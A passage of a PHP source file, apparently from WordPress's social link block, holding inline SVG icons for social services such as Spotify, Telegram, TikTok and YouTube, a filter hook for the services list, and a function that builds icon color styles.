'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.065,2a5.526,5.526,0,0,1,3.132.892A5.854,5.854,0,0,1,17.326,5.4a5.821,5.821,0,0,1,.351,2.33q0,.612-.117,2.487a.809.809,0,0,0,.365.091,1.93,1.93,0,0,0,.664-.176,1.93,1.93,0,0,1,.664-.176,1.3,1.3,0,0,1,.729.234.7.7,0,0,1,.351.6.839.839,0,0,1-.41.7,2.732,2.732,0,0,1-.9.41,3.192,3.192,0,0,0-.9.378.728.728,0,0,0-.41.618,1.575,1.575,0,0,0,.156.56,6.9,6.9,0,0,0,1.334,1.953,5.6,5.6,0,0,0,1.881,1.315,5.875,5.875,0,0,0,1.042.3.42.42,0,0,1,.365.456q0,.911-2.852,1.341a1.379,1.379,0,0,0-.143.507,1.8,1.8,0,0,1-.182.605.451.451,0,0,1-.429.241,5.878,5.878,0,0,1-.807-.085,5.917,5.917,0,0,0-.833-.085,4.217,4.217,0,0,0-.807.065,2.42,2.42,0,0,0-.82.293,6.682,6.682,0,0,0-.755.5q-.351.267-.755.527a3.886,3.886,0,0,1-.989.436A4.471,4.471,0,0,1,11.831,22a4.307,4.307,0,0,1-1.256-.176,3.784,3.784,0,0,1-.976-.436q-.4-.26-.749-.527a6.682,6.682,0,0,0-.755-.5,2.422,2.422,0,0,0-.807-.293,4.432,4.432,0,0,0-.82-.065,5.089,5.089,0,0,0-.853.1,5,5,0,0,1-.762.1.474.474,0,0,1-.456-.241,1.819,1.819,0,0,1-.182-.618,1.411,1.411,0,0,0-.143-.521q-2.852-.429-2.852-1.341a.42.42,0,0,1,.365-.456,5.793,5.793,0,0,0,1.042-.3,5.524,5.524,0,0,0,1.881-1.315,6.789,6.789,0,0,0,1.334-1.953A1.575,1.575,0,0,0,6,12.9a.728.728,0,0,0-.41-.618,3.323,3.323,0,0,0-.9-.384,2.912,2.912,0,0,1-.9-.41.814.814,0,0,1-.41-.684.71.71,0,0,1,.338-.593,1.208,1.208,0,0,1,.716-.241,1.976,1.976,0,0,1,.625.169,2.008,2.008,0,0,0,.69.169.919.919,0,0,0,.416-.091q-.117-1.849-.117-2.474A5.861,5.861,0,0,1,6.385,5.4,5.516,5.516,0,0,1,8.625,2.819,7.075,7.075,0,0,1,12.062,2Z"></path></svg>',
),
'soundcloud' => array(
'name' => _x( 'SoundCloud', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M8.9,16.1L9,14L8.9,9.5c0-0.1,0-0.1-0.1-0.1c0,0-0.1-0.1-0.1-0.1c-0.1,0-0.1,0-0.1,0.1c0,0-0.1,0.1-0.1,0.1L8.3,14l0.1,2.1 c0,0.1,0,0.1,0.1,0.1c0,0,0.1,0.1,0.1,0.1C8.8,16.3,8.9,16.3,8.9,16.1z M11.4,15.9l0.1-1.8L11.4,9c0-0.1,0-0.2-0.1-0.2 c0,0-0.1,0-0.1,0s-0.1,0-0.1,0c-0.1,0-0.1,0.1-0.1,0.2l0,0.1l-0.1,5c0,0,0,0.7,0.1,2v0c0,0.1,0,0.1,0.1,0.1c0.1,0.1,0.1,0.1,0.2,0.1 c0.1,0,0.1,0,0.2-0.1c0.1,0,0.1-0.1,0.1-0.2L11.4,15.9z M2.4,12.9L2.5,14l-0.2,1.1c0,0.1,0,0.1-0.1,0.1c0,0-0.1,0-0.1-0.1L2.1,14 l0.1-1.1C2.2,12.9,2.3,12.9,2.4,12.9C2.3,12.9,2.4,12.9,2.4,12.9z M3.1,12.2L3.3,14l-0.2,1.8c0,0.1,0,0.1-0.1,0.1 c-0.1,0-0.1,0-0.1-0.1L2.8,14L3,12.2C3,12.2,3,12.2,3.1,12.2C3.1,12.2,3.1,12.2,3.1,12.2z M3.9,11.9L4.1,14l-0.2,2.1 c0,0.1,0,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L3.5,14l0.2-2.1c0-0.1,0-0.1,0.1-0.1C3.9,11.8,3.9,11.8,3.9,11.9z M4.7,11.9L4.9,14 l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L4.3,14l0.2-2.2c0-0.1,0-0.1,0.1-0.1C4.7,11.7,4.7,11.8,4.7,11.9z M5.6,12 l0.2,2l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c0,0-0.1,0-0.1,0c0,0,0-0.1,0-0.1L5.1,14l0.2-2c0,0,0-0.1,0-0.1s0.1,0,0.1,0 C5.5,11.9,5.5,11.9,5.6,12L5.6,12z M6.4,10.7L6.6,14l-0.2,2.1c0,0,0,0.1,0,0.1c0,0-0.1,0-0.1,0c-0.1,0-0.1-0.1-0.2-0.2L5.9,14 l0.2-3.3c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0C6.4,10.7,6.4,10.7,6.4,10.7z M7.2,10l0.2,4.1l-0.2,2.1c0,0,0,0.1,0,0.1 c0,0-0.1,0-0.1,0c-0.1,0-0.2-0.1-0.2-0.2l-0.1-2.1L6.8,10c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0S7.2,9.9,7.2,10z M8,9.6L8.2,14 L8,16.1c0,0.1-0.1,0.2-0.2,0.2c-0.1,0-0.2-0.1-0.2-0.2L7.5,14l0.1-4.4c0-0.1,0-0.1,0.1-0.1c0,0,0.1-0.1,0.1-0.1c0.1,0,0.1,0,0.1,0.1 C8,9.6,8,9.6,8,9.6z M11.4,16.1L11.4,16.1L11.4,16.1z M9.7,9.6L9.8,14l-0.1,2.1c0,0.1,0,0.1-0.1,0.2s-0.1,0.1-0.2,0.1 c-0.1,0-0.1,0-0.1-0.1s-0.1-0.1-0.1-0.2L9.2,14l0.1-4.4c0-0.1,0-0.1,0.1-0.2s0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S9.7,9.5,9.7,9.6 L9.7,9.6z M10.6,9.8l0.1,4.3l-0.1,2c0,0.1,0,0.1-0.1,0.2c0,0-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c0,0-0.1-0.1-0.1-0.2L10,14 l0.1-4.3c0-0.1,0-0.1,0.1-0.2c0,0,0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S10.6,9.7,10.6,9.8z M12.4,14l-0.1,2c0,0.1,0,0.1-0.1,0.2 c-0.1,0.1-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2l-0.1-1l-0.1-1l0.1-5.5v0c0-0.1,0-0.2,0.1-0.2 c0.1,0,0.1-0.1,0.2-0.1c0,0,0.1,0,0.1,0c0.1,0,0.1,0.1,0.1,0.2L12.4,14z M22.1,13.9c0,0.7-0.2,1.3-0.7,1.7c-0.5,0.5-1.1,0.7-1.7,0.7 h-6.8c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2V8.2c0-0.1,0.1-0.2,0.2-0.3c0.5-0.2,1-0.3,1.6-0.3c1.1,0,2.1,0.4,2.9,1.1 c0.8,0.8,1.3,1.7,1.4,2.8c0.3-0.1,0.6-0.2,1-0.2c0.7,0,1.3,0.2,1.7,0.7C21.8,12.6,22.1,13.2,22.1,13.9L22.1,13.9z"></path></svg>',
),
'spotify' => array(
'name' => _x( 'Spotify', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,2C6.477,2,2,6.477,2,12c0,5.523,4.477,10,10,10c5.523,0,10-4.477,10-10C22,6.477,17.523,2,12,2 M16.586,16.424 c-0.18,0.295-0.563,0.387-0.857,0.207c-2.348-1.435-5.304-1.76-8.785-0.964c-0.335,0.077-0.67-0.133-0.746-0.469 c-0.077-0.335,0.132-0.67,0.469-0.746c3.809-0.871,7.077-0.496,9.713,1.115C16.673,15.746,16.766,16.13,16.586,16.424 M17.81,13.7 c-0.226,0.367-0.706,0.482-1.072,0.257c-2.687-1.652-6.785-2.131-9.965-1.166C6.36,12.917,5.925,12.684,5.8,12.273 C5.675,11.86,5.908,11.425,6.32,11.3c3.632-1.102,8.147-0.568,11.234,1.328C17.92,12.854,18.035,13.335,17.81,13.7 M17.915,10.865 c-3.223-1.914-8.54-2.09-11.618-1.156C5.804,9.859,5.281,9.58,5.131,9.086C4.982,8.591,5.26,8.069,5.755,7.919 c3.532-1.072,9.404-0.865,13.115,1.338c0.445,0.264,0.59,0.838,0.327,1.282C18.933,10.983,18.359,11.129,17.915,10.865"></path></svg>',
),
'telegram' => array(
'name' => _x( 'Telegram', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 128 128" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M28.9700376,63.3244248 C47.6273373,55.1957357 60.0684594,49.8368063 66.2934036,47.2476366 C84.0668845,39.855031 87.7600616,38.5708563 90.1672227,38.528 C90.6966555,38.5191258 91.8804274,38.6503351 92.6472251,39.2725385 C93.294694,39.7979149 93.4728387,40.5076237 93.5580865,41.0057381 C93.6433345,41.5038525 93.7494885,42.63857 93.6651041,43.5252052 C92.7019529,53.6451182 88.5344133,78.2034783 86.4142057,89.5379542 C85.5170662,94.3339958 83.750571,95.9420841 82.0403991,96.0994568 C78.3237996,96.4414641 75.5015827,93.6432685 71.9018743,91.2836143 C66.2690414,87.5912212 63.0868492,85.2926952 57.6192095,81.6896017 C51.3004058,77.5256038 55.3966232,75.2369981 58.9976911,71.4967761 C59.9401076,70.5179421 76.3155302,55.6232293 76.6324771,54.2720454 C76.6721165,54.1030573 76.7089039,53.4731496 76.3346867,53.1405352 C75.9604695,52.8079208 75.4081573,52.921662 75.0095933,53.0121213 C74.444641,53.1403447 65.4461175,59.0880351 48.0140228,70.8551922 C45.4598218,72.6091037 43.1463059,73.4636682 41.0734751,73.4188859 C38.7883453,73.3695169 34.3926725,72.1268388 31.1249416,71.0646282 C27.1169366,69.7617838 23.931454,69.0729605 24.208838,66.8603276 C24.3533167,65.7078514 25.9403832,64.5292172 28.9700376,63.3244248 Z" /></svg>',
),
'threads' => array(
'name' => _x( 'Threads', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.3 11.3c-.1 0-.2-.1-.2-.1-.1-2.6-1.5-4-3.9-4-1.4 0-2.6.6-3.3 1.7l1.3.9c.5-.8 1.4-1 2-1 .8 0 1.4.2 1.7.7.3.3.5.8.5 1.3-.7-.1-1.4-.2-2.2-.1-2.2.1-3.7 1.4-3.6 3.2 0 .9.5 1.7 1.3 2.2.7.4 1.5.6 2.4.6 1.2-.1 2.1-.5 2.7-1.3.5-.6.8-1.4.9-2.4.6.3 1 .8 1.2 1.3.4.9.4 2.4-.8 3.6-1.1 1.1-2.3 1.5-4.3 1.5-2.1 0-3.8-.7-4.8-2S5.7 14.3 5.7 12c0-2.3.5-4.1 1.5-5.4 1.1-1.3 2.7-2 4.8-2 2.2 0 3.8.7 4.9 2 .5.7.9 1.5 1.2 2.5l1.5-.4c-.3-1.2-.8-2.2-1.5-3.1-1.3-1.7-3.3-2.6-6-2.6-2.6 0-4.7.9-6 2.6C4.9 7.2 4.3 9.3 4.3 12s.6 4.8 1.9 6.4c1.4 1.7 3.4 2.6 6 2.6 2.3 0 4-.6 5.3-2 1.8-1.8 1.7-4 1.1-5.4-.4-.9-1.2-1.7-2.3-2.3zm-4 3.8c-1 .1-2-.4-2-1.3 0-.7.5-1.5 2.1-1.6h.5c.6 0 1.1.1 1.6.2-.2 2.3-1.3 2.7-2.2 2.7z"/></svg>',
),
'tiktok' => array(
'name' => _x( 'TikTok', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 32 32" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.708 0.027c1.745-0.027 3.48-0.011 5.213-0.027 0.105 2.041 0.839 4.12 2.333 5.563 1.491 1.479 3.6 2.156 5.652 2.385v5.369c-1.923-0.063-3.855-0.463-5.6-1.291-0.76-0.344-1.468-0.787-2.161-1.24-0.009 3.896 0.016 7.787-0.025 11.667-0.104 1.864-0.719 3.719-1.803 5.255-1.744 2.557-4.771 4.224-7.88 4.276-1.907 0.109-3.812-0.411-5.437-1.369-2.693-1.588-4.588-4.495-4.864-7.615-0.032-0.667-0.043-1.333-0.016-1.984 0.24-2.537 1.495-4.964 3.443-6.615 2.208-1.923 5.301-2.839 8.197-2.297 0.027 1.975-0.052 3.948-0.052 5.923-1.323-0.428-2.869-0.308-4.025 0.495-0.844 0.547-1.485 1.385-1.819 2.333-0.276 0.676-0.197 1.427-0.181 2.145 0.317 2.188 2.421 4.027 4.667 3.828 1.489-0.016 2.916-0.88 3.692-2.145 0.251-0.443 0.532-0.896 0.547-1.417 0.131-2.385 0.079-4.76 0.095-7.145 0.011-5.375-0.016-10.735 0.025-16.093z" /></svg>',
),
'tumblr' => array(
'name' => _x( 'Tumblr', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.04 21.28h-3.28c-2.84 0-4.94-1.37-4.94-5.02v-5.67H6.08V7.5c2.93-.73 4.11-3.3 4.3-5.48h3.01v4.93h3.47v3.65H13.4v4.93c0 1.47.73 2.01 1.92 2.01h1.73v3.75z" /></path></svg>',
),
'twitch' => array(
'name' => _x( 'Twitch', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.499,8.089h-1.636v4.91h1.636V8.089z M12,8.089h-1.637v4.91H12V8.089z M4.228,3.178L3,6.451v13.092h4.499V22h2.456 l2.454-2.456h3.681L21,14.636V3.178H4.228z M19.364,13.816l-2.864,2.865H12l-2.453,2.453V16.68H5.863V4.814h13.501V13.816z"></path></svg>',
),
'twitter' => array(
'name' => _x( 'Twitter', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.23,5.924c-0.736,0.326-1.527,0.547-2.357,0.646c0.847-0.508,1.498-1.312,1.804-2.27 c-0.793,0.47-1.671,0.812-2.606,0.996C18.324,4.498,17.257,4,16.077,4c-2.266,0-4.103,1.837-4.103,4.103 c0,0.322,0.036,0.635,0.106,0.935C8.67,8.867,5.647,7.234,3.623,4.751C3.27,5.357,3.067,6.062,3.067,6.814 c0,1.424,0.724,2.679,1.825,3.415c-0.673-0.021-1.305-0.206-1.859-0.513c0,0.017,0,0.034,0,0.052c0,1.988,1.414,3.647,3.292,4.023 c-0.344,0.094-0.707,0.144-1.081,0.144c-0.264,0-0.521-0.026-0.772-0.074c0.522,1.63,2.038,2.816,3.833,2.85 c-1.404,1.1-3.174,1.756-5.096,1.756c-0.331,0-0.658-0.019-0.979-0.057c1.816,1.164,3.973,1.843,6.29,1.843 c7.547,0,11.675-6.252,11.675-11.675c0-0.178-0.004-0.355-0.012-0.531C20.985,7.47,21.68,6.747,22.23,5.924z"></path></svg>',
),
'vimeo' => array(
'name' => _x( 'Vimeo', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.396,7.164c-0.093,2.026-1.507,4.799-4.245,8.32C15.322,19.161,12.928,21,10.97,21c-1.214,0-2.24-1.119-3.079-3.359 c-0.56-2.053-1.119-4.106-1.68-6.159C5.588,9.243,4.921,8.122,4.206,8.122c-0.156,0-0.701,0.328-1.634,0.98L1.594,7.841 c1.027-0.902,2.04-1.805,3.037-2.708C6.001,3.95,7.03,3.327,7.715,3.264c1.619-0.156,2.616,0.951,2.99,3.321 c0.404,2.557,0.685,4.147,0.841,4.769c0.467,2.121,0.981,3.181,1.542,3.181c0.435,0,1.09-0.688,1.963-2.065 c0.871-1.376,1.338-2.422,1.401-3.142c0.125-1.187-0.343-1.782-1.401-1.782c-0.498,0-1.012,0.115-1.541,0.341 c1.023-3.35,2.977-4.977,5.862-4.884C21.511,3.066,22.52,4.453,22.396,7.164z"></path></svg>',
),
'vk' => array(
'name' => _x( 'VK', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22,7.1c0.2,0.4-0.4,1.5-1.6,3.1c-0.2,0.2-0.4,0.5-0.7,0.9c-0.5,0.7-0.9,1.1-0.9,1.4c-0.1,0.3-0.1,0.6,0.1,0.8 c0.1,0.1,0.4,0.4,0.8,0.9h0l0,0c1,0.9,1.6,1.7,2,2.3c0,0,0,0.1,0.1,0.1c0,0.1,0,0.1,0.1,0.3c0,0.1,0,0.2,0,0.4 c0,0.1-0.1,0.2-0.3,0.3c-0.1,0.1-0.4,0.1-0.6,0.1l-2.7,0c-0.2,0-0.4,0-0.6-0.1c-0.2-0.1-0.4-0.1-0.5-0.2l-0.2-0.1 c-0.2-0.1-0.5-0.4-0.7-0.7s-0.5-0.6-0.7-0.8c-0.2-0.2-0.4-0.4-0.6-0.6C14.8,15,14.6,15,14.4,15c0,0,0,0-0.1,0c0,0-0.1,0.1-0.2,0.2 c-0.1,0.1-0.2,0.2-0.2,0.3c-0.1,0.1-0.1,0.3-0.2,0.5c-0.1,0.2-0.1,0.5-0.1,0.8c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.2l0,0.1 c-0.1,0.1-0.3,0.2-0.6,0.2h-1.2c-0.5,0-1,0-1.5-0.2c-0.5-0.1-1-0.3-1.4-0.6s-0.7-0.5-1.1-0.7s-0.6-0.4-0.7-0.6l-0.3-0.3 c-0.1-0.1-0.2-0.2-0.3-0.3s-0.4-0.5-0.7-0.9s-0.7-1-1.1-1.6c-0.4-0.6-0.8-1.3-1.3-2.2C2.9,9.4,2.5,8.5,2.1,7.5C2,7.4,2,7.3,2,7.2 c0-0.1,0-0.1,0-0.2l0-0.1c0.1-0.1,0.3-0.2,0.6-0.2l2.9,0c0.1,0,0.2,0,0.2,0.1S5.9,6.9,5.9,7L6,7c0.1,0.1,0.2,0.2,0.3,0.3 C6.4,7.7,6.5,8,6.7,8.4C6.9,8.8,7,9,7.1,9.2l0.2,0.3c0.2,0.4,0.4,0.8,0.6,1.1c0.2,0.3,0.4,0.5,0.5,0.7s0.3,0.3,0.4,0.4 c0.1,0.1,0.3,0.1,0.4,0.1c0.1,0,0.2,0,0.3-0.1c0,0,0,0,0.1-0.1c0,0,0.1-0.1,0.1-0.2c0.1-0.1,0.1-0.3,0.1-0.5c0-0.2,0.1-0.5,0.1-0.8 c0-0.4,0-0.8,0-1.3c0-0.3,0-0.5-0.1-0.8c0-0.2-0.1-0.4-0.1-0.5L9.6,7.6C9.4,7.3,9.1,7.2,8.7,7.1C8.6,7.1,8.6,7,8.7,6.9 C8.9,6.7,9,6.6,9.1,6.5c0.4-0.2,1.2-0.3,2.5-0.3c0.6,0,1,0.1,1.4,0.1c0.1,0,0.3,0.1,0.3,0.1c0.1,0.1,0.2,0.1,0.2,0.3 c0,0.1,0.1,0.2,0.1,0.3s0,0.3,0,0.5c0,0.2,0,0.4,0,0.6c0,0.2,0,0.4,0,0.7c0,0.3,0,0.6,0,0.9c0,0.1,0,0.2,0,0.4c0,0.2,0,0.4,0,0.5 c0,0.1,0,0.3,0,0.4s0.1,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.3c0.1,0,0.1,0,0.2,0c0.1,0,0.2,0,0.3-0.1c0.1-0.1,0.2-0.2,0.4-0.4 s0.3-0.4,0.5-0.7c0.2-0.3,0.5-0.7,0.7-1.1c0.4-0.7,0.8-1.5,1.1-2.3c0-0.1,0.1-0.1,0.1-0.2c0-0.1,0.1-0.1,0.1-0.1l0,0l0.1,0 c0,0,0,0,0.1,0s0.2,0,0.2,0l3,0c0.3,0,0.5,0,0.7,0S21.9,7,21.9,7L22,7.1z"></path></svg>',
),
'wordpress' => array(
'name' => _x( 'WordPress', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.158,12.786L9.46,20.625c0.806,0.237,1.657,0.366,2.54,0.366c1.047,0,2.051-0.181,2.986-0.51 c-0.024-0.038-0.046-0.079-0.065-0.124L12.158,12.786z M3.009,12c0,3.559,2.068,6.634,5.067,8.092L3.788,8.341 C3.289,9.459,3.009,10.696,3.009,12z M18.069,11.546c0-1.112-0.399-1.881-0.741-2.48c-0.456-0.741-0.883-1.368-0.883-2.109 c0-0.826,0.627-1.596,1.51-1.596c0.04,0,0.078,0.005,0.116,0.007C16.472,3.904,14.34,3.009,12,3.009 c-3.141,0-5.904,1.612-7.512,4.052c0.211,0.007,0.41,0.011,0.579,0.011c0.94,0,2.396-0.114,2.396-0.114 C7.947,6.93,8.004,7.642,7.52,7.699c0,0-0.487,0.057-1.029,0.085l3.274,9.739l1.968-5.901l-1.401-3.838 C9.848,7.756,9.389,7.699,9.389,7.699C8.904,7.67,8.961,6.93,9.446,6.958c0,0,1.484,0.114,2.368,0.114 c0.94,0,2.397-0.114,2.397-0.114c0.485-0.028,0.542,0.684,0.057,0.741c0,0-0.488,0.057-1.029,0.085l3.249,9.665l0.897-2.996 C17.841,13.284,18.069,12.316,18.069,11.546z M19.889,7.686c0.039,0.286,0.06,0.593,0.06,0.924c0,0.912-0.171,1.938-0.684,3.22 l-2.746,7.94c2.673-1.558,4.47-4.454,4.47-7.771C20.991,10.436,20.591,8.967,19.889,7.686z M12,22C6.486,22,2,17.514,2,12 C2,6.486,6.486,2,12,2c5.514,0,10,4.486,10,10C22,17.514,17.514,22,12,22z"></path></svg>',
),
'whatsapp' => array(
'name' => _x( 'WhatsApp', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M 12.011719 2 C 6.5057187 2 2.0234844 6.478375 2.0214844 11.984375 C 2.0204844 13.744375 2.4814687 15.462563 3.3554688 16.976562 L 2 22 L 7.2324219 20.763672 C 8.6914219 21.559672 10.333859 21.977516 12.005859 21.978516 L 12.009766 21.978516 C 17.514766 21.978516 21.995047 17.499141 21.998047 11.994141 C 22.000047 9.3251406 20.962172 6.8157344 19.076172 4.9277344 C 17.190172 3.0407344 14.683719 2.001 12.011719 2 z M 12.009766 4 C 14.145766 4.001 16.153109 4.8337969 17.662109 6.3417969 C 19.171109 7.8517969 20.000047 9.8581875 19.998047 11.992188 C 19.996047 16.396187 16.413812 19.978516 12.007812 19.978516 C 10.674812 19.977516 9.3544062 19.642812 8.1914062 19.007812 L 7.5175781 18.640625 L 6.7734375 18.816406 L 4.8046875 19.28125 L 5.2851562 17.496094 L 5.5019531 16.695312 L 5.0878906 15.976562 C 4.3898906 14.768562 4.0204844 13.387375 4.0214844 11.984375 C 4.0234844 7.582375 7.6067656 4 12.009766 4 z M 8.4765625 7.375 C 8.3095625 7.375 8.0395469 7.4375 7.8105469 7.6875 C 7.5815469 7.9365 6.9355469 8.5395781 6.9355469 9.7675781 C 6.9355469 10.995578 7.8300781 12.182609 7.9550781 12.349609 C 8.0790781 12.515609 9.68175 15.115234 12.21875 16.115234 C 14.32675 16.946234 14.754891 16.782234 15.212891 16.740234 C 15.670891 16.699234 16.690438 16.137687 16.898438 15.554688 C 17.106437 14.971687 17.106922 14.470187 17.044922 14.367188 C 16.982922 14.263188 16.816406 14.201172 16.566406 14.076172 C 16.317406 13.951172 15.090328 13.348625 14.861328 13.265625 C 14.632328 13.182625 14.464828 13.140625 14.298828 13.390625 C 14.132828 13.640625 13.655766 14.201187 13.509766 14.367188 C 13.363766 14.534188 13.21875 14.556641 12.96875 14.431641 C 12.71875 14.305641 11.914938 14.041406 10.960938 13.191406 C 10.218937 12.530406 9.7182656 11.714844 9.5722656 11.464844 C 9.4272656 11.215844 9.5585938 11.079078 9.6835938 10.955078 C 9.7955938 10.843078 9.9316406 10.663578 10.056641 10.517578 C 10.180641 10.371578 10.223641 10.267562 10.306641 10.101562 C 10.389641 9.9355625 10.347156 9.7890625 10.285156 9.6640625 C 10.223156 9.5390625 9.737625 8.3065 9.515625 7.8125 C 9.328625 7.3975 9.131125 7.3878594 8.953125 7.3808594 C 8.808125 7.3748594 8.6425625 7.375 8.4765625 7.375 z"></path></svg>',
),
'x' => array(
'name' => _x( 'X', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg>',
),
'yelp' => array(
'name' => _x( 'Yelp', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.271,16.718v1.417q-.011,3.257-.067,3.4a.707.707,0,0,1-.569.446,4.637,4.637,0,0,1-2.024-.424A4.609,4.609,0,0,1,7.8,20.565a.844.844,0,0,1-.19-.4.692.692,0,0,1,.044-.29,3.181,3.181,0,0,1,.379-.524q.335-.412,2.019-2.409.011,0,.669-.781a.757.757,0,0,1,.44-.274.965.965,0,0,1,.552.039.945.945,0,0,1,.418.324.732.732,0,0,1,.139.468Zm-1.662-2.8a.783.783,0,0,1-.58.781l-1.339.435q-3.067.981-3.257.981a.711.711,0,0,1-.6-.4,2.636,2.636,0,0,1-.19-.836,9.134,9.134,0,0,1,.011-1.857,3.559,3.559,0,0,1,.335-1.389.659.659,0,0,1,.625-.357,22.629,22.629,0,0,1,2.253.859q.781.324,1.283.524l.937.379a.771.771,0,0,1,.4.34A.982.982,0,0,1,10.609,13.917Zm9.213,3.313a4.467,4.467,0,0,1-1.021,1.8,4.559,4.559,0,0,1-1.512,1.417.671.671,0,0,1-.7-.078q-.156-.112-2.052-3.2l-.524-.859a.761.761,0,0,1-.128-.513.957.957,0,0,1,.217-.513.774.774,0,0,1,.926-.29q.011.011,1.327.446,2.264.736,2.7.887a2.082,2.082,0,0,1,.524.229.673.673,0,0,1,.245.68Zm-7.5-7.049q.056,1.137-.6,1.361-.647.19-1.272-.792L6.237,4.08a.7.7,0,0,1,.212-.691,5.788,5.788,0,0,1,2.314-1,5.928,5.928,0,0,1,2.5-.352.681.681,0,0,1,.547.5q.034.2.245,3.407T12.327,10.181Zm7.384,1.2a.679.679,0,0,1-.29.658q-.167.112-3.67.959-.747.167-1.015.257l.011-.022a.769.769,0,0,1-.513-.044.914.914,0,0,1-.413-.357.786.786,0,0,1,0-.971q.011-.011.836-1.137,1.394-1.908,1.673-2.275a2.423,2.423,0,0,1,.379-.435A.7.7,0,0,1,17.435,8a4.482,4.482,0,0,1,1.372,1.489,4.81,4.81,0,0,1,.9,1.868v.034Z"></path></svg>',
),
'youtube' => array(
'name' => _x( 'YouTube', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M21.8,8.001c0,0-0.195-1.378-0.795-1.985c-0.76-0.797-1.613-0.801-2.004-0.847c-2.799-0.202-6.997-0.202-6.997-0.202 h-0.009c0,0-4.198,0-6.997,0.202C4.608,5.216,3.756,5.22,2.995,6.016C2.395,6.623,2.2,8.001,2.2,8.001S2,9.62,2,11.238v1.517 c0,1.618,0.2,3.237,0.2,3.237s0.195,1.378,0.795,1.985c0.761,0.797,1.76,0.771,2.205,0.855c1.6,0.153,6.8,0.201,6.8,0.201 s4.203-0.006,7.001-0.209c0.391-0.047,1.243-0.051,2.004-0.847c0.6-0.607,0.795-1.985,0.795-1.985s0.2-1.618,0.2-3.237v-1.517 C22,9.62,21.8,8.001,21.8,8.001z M9.935,14.594l-0.001-5.62l5.404,2.82L9.935,14.594z"></path></svg>',
),
);
/**
* Filter the list of available social service.
*
* This can be used to change icons or add custom icons (additionally to variations in the editor).
* Icons should be directly renderable - therefore SVGs work best.
*
* @since 6.9.0
*
* @param array $services_data The list of services. Each item is an array containing a 'name' and 'icon' key.
* @return array The list of social services.
*/
$services_data = apply_filters( 'block_core_social_link_get_services', $services_data );
if ( ! empty( $service )
&& ! empty( $field )
&& isset( $services_data[ $service ] )
&& ( 'icon' === $field || 'name' === $field )
) {
return $services_data[ $service ][ $field ];
} elseif ( ! empty( $service ) && isset( $services_data[ $service ] ) ) {
return $services_data[ $service ];
}
return $services_data;
}
/**
* Returns CSS styles for icon and icon background colors.
*
* @since 5.7.0
*
* @param array $context Block context passed to Social Link.
*
* @return string Inline CSS styles for link's icon and background colors.
*/
function block_core_social_link_get_color_styles( $context ) {
$styles = array();
if ( array_key_exists( 'iconColorValue', $context ) ) {
$styles[] = 'color:' . $context['iconColorValue'] . ';';
}
if ( array_key_exists( 'iconBackgroundColorValue', $context ) ) {
$styles[] = 'background-color:' . $context['iconBackgroundColorValue'] . ';';
}
return implode( '', $styles );
}
/**
